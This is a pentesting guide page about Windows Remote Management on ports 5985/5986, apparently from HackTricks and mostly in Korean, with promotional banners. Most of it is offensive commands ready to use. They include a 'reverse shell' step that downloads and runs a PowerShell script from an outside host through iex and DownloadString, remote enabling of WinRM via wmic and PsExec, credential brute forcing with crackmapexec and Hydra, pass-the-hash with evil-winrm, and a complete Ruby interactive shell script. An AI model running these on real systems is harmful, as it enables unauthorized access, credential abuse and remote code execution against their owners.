# 5985,5986 - Pentesting WinRM {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** ๐Ÿ’ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! **Hacking Insights**\ Engage with content that delves into the thrill and challenges of hacking **Real-Time Hack News**\ Keep up-to-date with fast-paced hacking world through real-time news and insights **Latest Announcements**\ Stay informed with the newest bug bounties launching and crucial platform updates **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! ## WinRM [Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)๋Š” **Microsoft**์—์„œ **Windows ์‹œ์Šคํ…œ์˜ ์›๊ฒฉ ๊ด€๋ฆฌ๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋Š” ํ”„๋กœํ† ์ฝœ**๋กœ ๊ฐ•์กฐ๋ฉ๋‹ˆ๋‹ค. HTTP(S)๋ฅผ ํ†ตํ•ด SOAP๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ๋ณธ์งˆ์ ์œผ๋กœ WMI์— ์˜ํ•ด ๊ตฌ๋™๋˜๋ฉฐ, WMI ์ž‘์—…์„ ์œ„ํ•œ HTTP ๊ธฐ๋ฐ˜ ์ธํ„ฐํŽ˜์ด์Šค๋กœ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค. ๊ธฐ๊ณ„์— WinRM์ด ์กด์žฌํ•˜๋ฉด PowerShell์„ ํ†ตํ•ด ๊ฐ„๋‹จํ•œ ์›๊ฒฉ ๊ด€๋ฆฌ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋ฉฐ, ์ด๋Š” ๋‹ค๋ฅธ ์šด์˜ ์ฒด์ œ์˜ SSH์™€ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค. WinRM์ด ์ž‘๋™ ์ค‘์ธ์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ํŠน์ • ํฌํŠธ์˜ ๊ฐœ๋ฐฉ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค: * **5985/tcp (HTTP)** * **5986/tcp (HTTPS)** ์œ„ ๋ชฉ๋ก์—์„œ ์—ด๋ฆฐ ํฌํŠธ๋Š” WinRM์ด ์„ค์ •๋˜์—ˆ์Œ์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ์›๊ฒฉ ์„ธ์…˜์„ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ๋Š” ์‹œ๋„๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ### **WinRM ์„ธ์…˜ ์‹œ์ž‘ํ•˜๊ธฐ** PowerShell์„ WinRM์— ๋งž๊ฒŒ ๊ตฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด Microsoft์˜ `Enable-PSRemoting` cmdlet์ด ์‚ฌ์šฉ๋˜๋ฉฐ, ์ด๋Š” ์ปดํ“จํ„ฐ๊ฐ€ ์›๊ฒฉ PowerShell ๋ช…๋ น์„ ์ˆ˜๋ฝํ•˜๋„๋ก ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ถŒํ•œ์ด ์ƒ์Šน๋œ PowerShell ์ ‘๊ทผ์„ ํ†ตํ•ด ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ ์ด ๊ธฐ๋Šฅ์„ ํ™œ์„ฑํ™”ํ•˜๊ณ  ์–ด๋–ค ํ˜ธ์ŠคํŠธ๋“  ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋„๋ก ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```powershell Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` ์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ `trustedhosts` ๊ตฌ์„ฑ์— ์™€์ผ๋“œ์นด๋“œ๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์œผ๋กœ, ๊ทธ ์˜๋ฏธ ๋•Œ๋ฌธ์— ์‹ ์ค‘ํ•œ ๊ณ ๋ ค๊ฐ€ ํ•„์š”ํ•œ ๋‹จ๊ณ„์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ๊ณต๊ฒฉ์ž์˜ ๋จธ์‹ ์—์„œ ๋„คํŠธ์›Œํฌ ์œ ํ˜•์„ "Public"์—์„œ "Work"๋กœ ๋ณ€๊ฒฝํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Œ์„ ์–ธ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค. ๊ฒŒ๋‹ค๊ฐ€, WinRM์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด `wmic` ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ **์›๊ฒฉ์œผ๋กœ ํ™œ์„ฑํ™”**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```powershell wmic /node: process call create "powershell enable-psremoting -force" ``` ์ด ๋ฐฉ๋ฒ•์€ ์›๊ฒฉ์œผ๋กœ WinRM์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ, ๋ฉ€๋ฆฌ์„œ Windows ๋จธ์‹ ์„ ๊ด€๋ฆฌํ•˜๋Š” ์œ ์—ฐ์„ฑ์„ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ### ๊ตฌ์„ฑ ํ™•์ธ ๊ณต๊ฒฉ ๋จธ์‹ ์˜ ์„ค์ •์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด `Test-WSMan` ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ๋Œ€์ƒ์ด WinRM์ด ์ œ๋Œ€๋กœ ๊ตฌ์„ฑ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ฉด ํ”„๋กœํ† ์ฝœ ๋ฒ„์ „ ๋ฐ wsmid์— ๋Œ€ํ•œ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์ˆ˜์‹ ํ•˜๊ฒŒ ๋˜๋ฉฐ, ์ด๋Š” ์„ฑ๊ณต์ ์ธ ๊ตฌ์„ฑ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ์•„๋ž˜๋Š” ๊ตฌ์„ฑ๋œ ๋Œ€์ƒ๊ณผ ๊ตฌ์„ฑ๋˜์ง€ ์•Š์€ ๋Œ€์ƒ์˜ ์˜ˆ์ƒ ์ถœ๋ ฅ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค: * **์ •์ƒ์ ์œผ๋กœ** ๊ตฌ์„ฑ๋œ ๋Œ€์ƒ์˜ ๊ฒฝ์šฐ, ์ถœ๋ ฅ์€ ๋‹ค์Œ๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค: ```bash Test-WSMan ``` ์‘๋‹ต์—๋Š” ํ”„๋กœํ† ์ฝœ ๋ฒ„์ „๊ณผ wsmid์— ๋Œ€ํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด์•ผ ํ•˜๋ฉฐ, ์ด๋Š” WinRM์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์„ค์ •๋˜์—ˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ![](<../.gitbook/assets/image (582).png>) * ๋ฐ˜๋Œ€๋กœ, WinRM์ด ๊ตฌ์„ฑ๋˜์ง€ ์•Š์€ ๋Œ€์ƒ์„ ์œ„ํ•ด์„œ๋Š” ๊ทธ๋Ÿฌํ•œ ์„ธ๋ถ€ ์ •๋ณด๊ฐ€ ์—†์œผ๋ฉฐ, ์ด๋Š” ์ ์ ˆํ•œ WinRM ์„ค์ •์ด ์—†์Œ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค. ![](<../.gitbook/assets/image (458).png>) ### ๋ช…๋ น ์‹คํ–‰ ๋Œ€์ƒ ๋จธ์‹ ์—์„œ `ipconfig`๋ฅผ ์›๊ฒฉ์œผ๋กœ ์‹คํ–‰ํ•˜๊ณ  ๊ทธ ์ถœ๋ ฅ์„ ๋ณด๋ ค๋ฉด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•˜์‹ญ์‹œ์˜ค: ```powershell Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../.gitbook/assets/image (151).png>) ํ˜„์žฌ PS ์ฝ˜์†”์˜ **๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** _**Invoke-Command**_๋ฅผ ํ†ตํ•ด. ๋กœ์ปฌ์— _**enumeration**_์ด๋ผ๋Š” ํ•จ์ˆ˜๊ฐ€ ์žˆ๊ณ  ์ด๋ฅผ **์›๊ฒฉ ์ปดํ“จํ„ฐ์—์„œ ์‹คํ–‰ํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด**, ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```powershell Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ ```powershell Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### ๋ฆฌ๋ฒ„์Šค ์…ธ ์–ป๊ธฐ ```powershell Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` ### PS ์„ธ์…˜ ์–ป๊ธฐ ์ธํ„ฐ๋ž™ํ‹ฐ๋ธŒ PowerShell ์…ธ์„ ์–ป์œผ๋ ค๋ฉด `Enter-PSSession`์„ ์‚ฌ์šฉํ•˜์„ธ์š”: ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) # Enter Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username] ## Bypass proxy Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) # Save session in var $sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) Enter-PSSession $sess ## Background current PS session Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...) ``` ![](<../.gitbook/assets/image (1009).png>) **์„ธ์…˜์€ "ํฌ์ƒ์ž" ๋‚ด๋ถ€์˜ ์ƒˆ๋กœ์šด ํ”„๋กœ์„ธ์Šค(wsmprovhost)์—์„œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.** ### **WinRM ๊ฐ•์ œ ์—ด๊ธฐ** PS ์›๊ฒฉ ๋ฐ WinRM์„ ์‚ฌ์šฉํ•˜๋ ค๊ณ  ํ•˜์ง€๋งŒ ์ปดํ“จํ„ฐ๊ฐ€ ๊ตฌ์„ฑ๋˜์ง€ ์•Š์€ ๊ฒฝ์šฐ, ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```powershell .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### Saving and Restoring sessions ์ด **์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค** ๋งŒ์•ฝ **์–ธ์–ด**๊ฐ€ ์›๊ฒฉ ์ปดํ“จํ„ฐ์—์„œ **์ œํ•œ๋˜์–ด** ์žˆ๋‹ค๋ฉด. ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) #You can save a session inside a variable $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)] #And restore it at any moment doing Enter-PSSession -Session $sess1 ``` ์ด ์„ธ์…˜ ๋‚ด์—์„œ _Invoke-Command_๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ PS ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```powershell Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### Errors ๋‹ค์Œ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด: `enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.` ํด๋ผ์ด์–ธํŠธ์—์„œ ์‹œ๋„ํ•˜์‹ญ์‹œ์˜ค (์ •๋ณด๋Š” [์—ฌ๊ธฐ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)์—์„œ ํ™•์ธ): ```ruby winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ```
๊ฒฝํ—˜์ด ํ’๋ถ€ํ•œ ํ•ด์ปค ๋ฐ ๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ ํ—Œํ„ฐ์™€ ์†Œํ†ตํ•˜๊ธฐ ์œ„ํ•ด [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ์„œ๋ฒ„์— ์ฐธ์—ฌํ•˜์„ธ์š”! **ํ•ดํ‚น ํ†ต์ฐฐ๋ ฅ**\ ํ•ดํ‚น์˜ ์Šค๋ฆด๊ณผ ๋„์ „์— ๋Œ€ํ•ด ๊นŠ์ด ์žˆ๋Š” ์ฝ˜ํ…์ธ ์— ์ฐธ์—ฌํ•˜์„ธ์š”. **์‹ค์‹œ๊ฐ„ ํ•ดํ‚น ๋‰ด์Šค**\ ์‹ค์‹œ๊ฐ„ ๋‰ด์Šค์™€ ํ†ต์ฐฐ๋ ฅ์„ ํ†ตํ•ด ๋น ๋ฅด๊ฒŒ ๋ณ€ํ™”ํ•˜๋Š” ํ•ดํ‚น ์„ธ๊ณ„์˜ ์ตœ์‹  ์ •๋ณด๋ฅผ ์œ ์ง€ํ•˜์„ธ์š”. **์ตœ์‹  ๊ณต์ง€์‚ฌํ•ญ**\ ์ƒˆ๋กœ์šด ๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ ์ถœ์‹œ ๋ฐ ์ค‘์š”ํ•œ ํ”Œ๋žซํผ ์—…๋ฐ์ดํŠธ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์œ ์ง€ํ•˜์„ธ์š”. ์˜ค๋Š˜ [**Discord**](https://discord.com/invite/N3FrSbmwdy)์—์„œ ์ €ํฌ์™€ ํ•จ๊ป˜ํ•˜๊ณ  ์ตœ๊ณ ์˜ ํ•ด์ปค๋“ค๊ณผ ํ˜‘์—…์„ ์‹œ์ž‘ํ•˜์„ธ์š”! ## ๋ฆฌ๋ˆ…์Šค์—์„œ WinRM ์—ฐ๊ฒฐ ### ๋ธŒ๋ฃจํŠธ ํฌ์Šค ์ฃผ์˜ํ•˜์„ธ์š”, winrm์„ ๋ธŒ๋ฃจํŠธ ํฌ์‹ฑํ•˜๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ ์ฐจ๋‹จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt #Just check a pair of credentials # Username + Password + CMD command execution crackmapexec winrm -d -u -p -x "whoami" # Username + Hash + PS command execution crackmapexec winrm -d -u -H -X '$PSVersionTable' #Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm ``` ### evil-winrm ์‚ฌ์šฉํ•˜๊ธฐ ```ruby gem install evil-winrm ``` **๋ฌธ์„œ**๋ฅผ github์—์„œ ์ฝ์–ด๋ณด์„ธ์š”: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` **evil-winrm**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **IPv6 ์ฃผ์†Œ**์— ์—ฐ๊ฒฐํ•˜๋ ค๋ฉด _**/etc/hosts**_์— **๋„๋ฉ”์ธ ์ด๋ฆ„**์„ IPv6 ์ฃผ์†Œ๋กœ ์„ค์ •ํ•˜๋Š” ํ•ญ๋ชฉ์„ ๋งŒ๋“ค๊ณ  ํ•ด๋‹น ๋„๋ฉ”์ธ์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. ### evil-winrm์œผ๋กœ ํ•ด์‹œ ์ „๋‹ฌํ•˜๊ธฐ ```ruby evil-winrm -u -H -i ``` ![](<../.gitbook/assets/image (680).png>) ### PS-docker ๋จธ์‹  ์‚ฌ์šฉํ•˜๊ธฐ ``` docker run -it quickbreach/powershell-ntlm $creds = Get-Credential Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds ``` ### ๋ฃจ๋น„ ์Šคํฌ๋ฆฝํŠธ ์‚ฌ์šฉํ•˜๊ธฐ **์ฝ”๋“œ ์ถœ์ฒ˜:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/) ```ruby require 'winrm-fs' # Author: Alamot # To upload a file type: UPLOAD local_path remote_path # e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt # https://alamot.github.io/winrm_shell/ conn = WinRM::Connection.new( endpoint: 'https://IP:PORT/wsman', transport: :ssl, user: 'username', password: 'password', :no_ssl_peer_verification => true ) class String def tokenize self. split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/). select {|s| not s.empty? }. map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')} end end command="" file_manager = WinRM::FS::FileManager.new(conn) conn.shell(:powershell) do |shell| until command == "exit\n" do output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") print(output.output.chomp) command = gets if command.start_with?('UPLOAD') then upload_command = command.tokenize print("Uploading " + upload_command[1] + " to " + upload_command[2]) file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path| puts("#{bytes_copied} bytes of #{total_bytes} bytes copied") end command = "echo `nOK`n" end output = shell.run(command) do |stdout, stderr| STDOUT.print(stdout) STDERR.print(stderr) end end puts("Exiting with code #{output.exitcode}") end ``` ## Shodan * `port:5985 Microsoft-HTTPAPI` ## References * [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) ## HackTricks ์ž๋™ ๋ช…๋ น ``` Protocol_Name: WinRM #Protocol Abbreviation if there is one. Port_Number: 5985 #Comma separated if there is more than one. Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for WinRM Note: | Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI. sudo gem install winrm winrm-fs colorize stringio git clone https://github.com/Hackplayers/evil-winrm.git cd evil-winrm ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p โ€˜MySuperSecr3tPass123!โ€™ https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/ ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/ ^^so you can upload binary's from that directory or -s to upload scripts (sherlock) menu invoke-binary `tab` #python3 import winrm s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret')) print(s.run_cmd('ipconfig')) print(s.run_ps('ipconfig')) https://book.hacktricks.xyz/pentesting/pentesting-winrm Entry_2: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ```
๊ฒฝํ—˜์ด ํ’๋ถ€ํ•œ ํ•ด์ปค ๋ฐ ๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ ํ—Œํ„ฐ์™€ ์†Œํ†ตํ•˜๊ธฐ ์œ„ํ•ด [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ์„œ๋ฒ„์— ์ฐธ์—ฌํ•˜์„ธ์š”! **ํ•ดํ‚น ํ†ต์ฐฐ๋ ฅ**\ ํ•ดํ‚น์˜ ์Šค๋ฆด๊ณผ ๋„์ „์— ๋Œ€ํ•ด ๊นŠ์ด ์žˆ๋Š” ์ฝ˜ํ…์ธ ์— ์ฐธ์—ฌํ•˜์„ธ์š”. **์‹ค์‹œ๊ฐ„ ํ•ดํ‚น ๋‰ด์Šค**\ ์‹ค์‹œ๊ฐ„ ๋‰ด์Šค์™€ ํ†ต์ฐฐ๋ ฅ์„ ํ†ตํ•ด ๋น ๋ฅด๊ฒŒ ๋ณ€ํ™”ํ•˜๋Š” ํ•ดํ‚น ์„ธ๊ณ„์˜ ์ตœ์‹  ์ •๋ณด๋ฅผ ์œ ์ง€ํ•˜์„ธ์š”. **์ตœ์‹  ๊ณต์ง€์‚ฌํ•ญ**\ ์ƒˆ๋กœ์šด ๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ ์ถœ์‹œ ๋ฐ ์ค‘์š”ํ•œ ํ”Œ๋žซํผ ์—…๋ฐ์ดํŠธ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์œ ์ง€ํ•˜์„ธ์š”. ์˜ค๋Š˜ [**Discord**](https://discord.com/invite/N3FrSbmwdy)์— ์ฐธ์—ฌํ•˜์—ฌ ์ตœ๊ณ ์˜ ํ•ด์ปค๋“ค๊ณผ ํ˜‘์—…์„ ์‹œ์ž‘ํ•˜์„ธ์š”! {% hint style="success" %} AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks ์ง€์›ํ•˜๊ธฐ * [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ! * ๐Ÿ’ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **Twitter** ๐Ÿฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.** * [**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŒ์„ ๊ณต์œ ํ•˜์„ธ์š”.
{% endhint %}